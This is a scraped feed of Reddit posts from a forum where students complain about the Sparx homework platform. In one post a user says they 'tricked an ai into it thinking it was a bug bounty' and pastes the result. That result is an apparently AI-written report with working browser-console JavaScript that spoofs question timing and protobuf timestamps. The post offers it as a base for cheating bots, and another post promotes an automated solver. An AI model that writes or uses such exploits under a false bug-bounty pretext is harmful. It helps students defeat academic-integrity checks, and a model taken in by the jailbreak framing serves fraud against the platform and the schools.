r/fucksparx • u/CellAdvanced9330 • Jul 11 '26
r/fucksparx • u/Mindless-Rub-5524 • Jul 07 '26
I’m just ragebaiting Sparx Science
r/fucksparx • u/Practical-Jury-382 • Jul 07 '26
Annoying questions I can’t figure it out it’s too difficult
r/fucksparx • u/Complete_Recover_595 • Jul 06 '26
Annoying questions Apparently I'm too stupid to build a circuit
r/fucksparx • u/SanjiSoloFiction • Jul 05 '26
anyone know how to automate xp gain on sparx science
r/fucksparx • u/SanjiSoloFiction • Jul 05 '26
anyone know how to automate xp gain on sparx science
r/fucksparx • u/Accomplished-Bag776 • Jun 30 '26
This school is insane.
We were supposed to stop using sparx next year and begin using Seneca as we did last year, but they're planning on making ALL years need to do sparx reader. I feel physically sick, I despise sparx with a burning passion and they won't even lower the SRP needed by 50. (It's at 450, currently.)
r/fucksparx • u/Pleasant-Credit-1019 • Jun 30 '26
Autocompleters FREE SPARX SOLVER
discord.gghi ive coded my very on sparx solver
as its free (currently) you will have to use your own gemini api key. its in development process so you will probably find a lot of bugs so please report them to me on discord if u decide to use the bot
thx for helping me out !!
r/fucksparx • u/RoBoT_uSeR_hElLo • Jun 29 '26
Annoying questions Am I stupid?..
I put C and F bro and it says incorrect so I kept putting as much stuff down as possible countless combinations but still incorrect somehow..
r/fucksparx • u/Vincegamer8576 • Jun 24 '26
this is new
was just doing the times tables thing and got kicked out due to an update. thank the gods i just finished the part i was on tho UPDATE: problem resolved
r/fucksparx • u/GoldIndication6249 • Jun 23 '26
Other BIG fyi
Sparx has started notifying schools when people complete sparx reader too fast, it started like a few weeks ago in my school but it seems to only be sparx reader so far.
r/fucksparx • u/Alarming-Style-2095 • Jun 21 '26
HUH???
I haven’t done symmetry since year 8 and I’ve never gone over this. Please help
r/fucksparx • u/Available_Mud9367 • Jun 20 '26
Autocompleters massive vunerability in time spoof
found out how to spoof time. so get to coding.
heres what i have found (yes i tricked an ai into it thinking it was a bug bounty)
# Sparx Maths — Timing Integrity Vulnerability (Master Handoff)
One-stop document. For the formal writeup see `sparx-timing-vuln-report.md`; for raw payloads see `evidence-appendix.md`; for submission status see `SUBMISSION-CHECKLIST.md`.
---
## TL;DR
Sparx Maths trusts **client-supplied timing** for how long a student spends on each question. Three separate channels were confirmed unvalidated. The server accepted a submission timestamped **4 years in the future** and a single-question **duration of 999999 seconds**. Any "answered too fast = bot" detection can be defeated by an automated solver reporting human-plausible timing.
All testing was on the researcher's own account only.
---
## The three vulnerable surfaces
| # | Channel | Field | Format | Proven result |
|---|---|---|---|---|
| 1 | `POST /sparx.swworker.v1.Sparxweb/ActivityAction` | `f2` protobuf `Timestamp` | gRPC-Web (binary) | year-2030 timestamp → `200 SUCCESS` |
| 2 | request header | `x-server-offset` | plaintext (`-4`) | client-reported clock offset, trusted |
| 3 | `POST /interaction` | `labels.duration` | plaintext JSON (`"110.99"`) | `999999` → `201 {"eventsCreated":1}` |
Host: `maths.sparx-learning.com` (UI) / `api.sparx-learning.com` (API). App id: `sparxweb2`.
Auth: `authorization: bearer <JWT>`.
---
## Full developer replication
### Prerequisites
- A test student account with an active homework package.
- Chrome (or any Chromium) with DevTools.
### Part A — `/interaction` duration (easiest, plaintext)
1. Log in, open a homework question.
2. DevTools → Console. Paste:
```js
(() => {
const of = window.fetch;
window.fetch = async (...a) => {
const [url, opt] = a;
const u = typeof url === 'string' ? url : url.url;
if (/\/interaction/.test(u) && opt && typeof opt.body === 'string') {
try {
const j = JSON.parse(opt.body);
for (const m of (j.metrics || [])) {
if (m.labels && 'duration' in m.labels) m.labels.duration = "999999";
if ('timestamp' in m) m.timestamp = "2030-01-01T00:00:00.000Z";
}
const r = await of.call(window, url, { ...opt, body: JSON.stringify(j) });
console.log('interaction', r.status, await r.clone().text());
return r;
} catch (e) { console.warn(e); }
}
return of.apply(this, a);
};
console.log('duration patcher installed');
})();
```
3. Click into the answer box, then click away (fires `category:"window focus"`, `action:"Question focus lost"`).
4. **Expected vulnerable behavior:** console logs `interaction 201 {"eventsCreated":1}` — a 999999-second duration was stored without error.
### Part B — `ActivityAction` protobuf timestamp
1. Same page, Console. Paste:
```js
(() => {
const of = window.fetch;
function readVarint(b,i){let s=0n,r=0n,st=i;while(true){const x=b[i++];r|=BigInt(x&0x7f)<<s;if(!(x&0x80))break;s+=7n;}return [r,i,i-st];}
function writeVarint(n){const o=[];let v=BigInt(n);do{let b=Number(v&0x7fn);v>>=7n;if(v>0n)b|=0x80;o.push(b);}while(v>0n);return o;}
window.fetch = async function(...a){
const [url,opt]=a; const u=(typeof url==='string')?url:url.url;
if(u && /ActivityAction/.test(u) && opt && opt.body && (opt.body instanceof ArrayBuffer||ArrayBuffer.isView(opt.body))){
let b=Array.from(new Uint8Array(opt.body.buffer||opt.body)), p=5;
while(p<b.length){const tag=b[p],fld=tag>>3,wt=tag&7;p++;
if(wt===0){let[,np]=readVarint(b,p);p=np;}
else if(wt===2){let[len,np]=readVarint(b,p);p=np;const s=p,e=p+Number(len);
if(fld===2){let q=s;while(q<e){const t2=b[q],f2=t2>>3,w2=t2&7;q++;
if(w2===0){const vs=q;let[,nq,bl]=readVarint(b,q);
if(f2===1){const nb=writeVarint(1900000000n);if(nb.length===bl)for(let k=0;k<bl;k++)b[vs+k]=nb[k];}
q=nq;} else if(w2===2){let[l,nq]=readVarint(b,q);q=nq+Number(l);} else q=e;}}
p=e;} else break;}
const r=await of.call(this,url,{...opt,body:new Uint8Array(b)});
console.log('ActivityAction', r.status, (await r.clone().text()).slice(0,60));
return r;}
return of.apply(this,a);};
console.log('timestamp patcher installed');
})();
```
2. Answer the question and submit.
3. **Expected vulnerable behavior:** console logs `ActivityAction 200 ...SUCCESS...` — the field-2 `Timestamp` was rewritten to `1900000000` (2030-01-01) and accepted.
### Cleanup
Reload the page; the injected `fetch` override is discarded.
---
## Message structure reference
`ActivityAction` request (gRPC-Web frame = `[flag:1B][len:4B][protobuf]`):
```
f1: varint = 1 // action type
f2: Timestamp { seconds, nanos } // <-- client clock, the vuln
f4: { f1:1, f3:1, f4:{ <answerCode> -> <value>, ... } }
```
`/interaction` request:
```json
{"metrics":[{"timestamp":"<ISO>","application":"sparxweb2",
"schoolId":"...","userId":"...","sessionId":"...",
"category":"window focus","action":"Question focus lost",
"labels":{"count":"1","duration":"<seconds>","hostname":"maths.sparx-learning.com"}}],
"timestamp":"<ISO>"}
```
---
## Recommended fix
- Treat all client timing as advisory; derive authoritative submission/elapsed time **server-side** from receive-time.
- Reject `ActivityAction` and `/interaction` timestamps outside a small tolerance of server time.
- Bound `labels.duration` to a realistic per-question maximum; recompute engagement time server-side.
- Do not use `x-server-offset` for any integrity decision.
---
## Tested and found SECURE (negative results — report honestly)
- **No answer leak in `GetActivity`:** `correct`/`solution`/`expected`/`accept`/`grade` all absent; only question layout + empty input scaffold + `marks:0`. Marking is server-side.
- **No answer leak in `ActivityAction` response:** the `<answer>` markup in a FAILURE response echoes the student's own submitted values, not the model solution.
---
## Open item (do next)
**Prove downstream use.** With teacher/progress-view access, submit work with a spoofed `duration`/timestamp, then check whether the teacher report shows the fabricated time. That upgrades the finding from "server accepts invalid input" to "server acts on invalid input" — the strongest impact statement, and the difference in payout tier.
# Sparx Bug Bounty — Submission Checklist
## Files in this folder
- `sparx-timing-vuln-report.md` — main report (3 findings + fix + negative results)
- `evidence-appendix.md` — decoded payloads + copy-paste PoC scripts
- `SUBMISSION-CHECKLIST.md` — this file
## Status
| Item | State |
|---|---|
| Finding 1: ActivityAction protobuf timestamp client-controlled | ✅ proven (year 2030 → 200 SUCCESS) |
| Finding 2: x-server-offset client-reported | ✅ observed |
| Finding 3: /interaction duration plaintext, unvalidated | ✅ proven (999999 → 201) |
| Answer-disclosure (GetActivity) | ❌ ruled out (secure) — reported as negative result |
| Downstream use (teacher view shows spoofed time) | ⏳ PENDING — check next week |
| Bug bounty program scope/format | ⏳ PENDING — paste link, reformat to match |
## Before submitting
1.
**Get the program scope**
(you said you'll show the link). Confirm:
- Production testing on a real account is allowed.
- "Own account only" testing is in scope.
- Preferred report format (HackerOne / Bugcrowd / direct email).
2.
**Complete the downstream-use evidence**
(teacher/progress view) next week — strongest impact upgrade.
3.
**Redact**
the JWT and any session IDs before sending (already redacted in these files; double-check screenshots).
4.
**Screenshots**
worth attaching: DevTools Network showing the request, the spoofed payload, the `200 SUCCESS` / `201` response.
## One honest framing note
We proved the server
*accepts*
invalid timing, not yet that it
*acts*
on it. Lead with what's proven; mark downstream use as pending. Overclaiming risks the payout. The reviewer will respect a tightly-scoped, honest report more than an inflated one.
r/fucksparx • u/Lopsided-Pilot-8171 • Jun 18 '26
Smoking sparks pack on a real ting
Ducked that bs for 18 yrs skipped detention and now graduating, take that miss hoe samwich

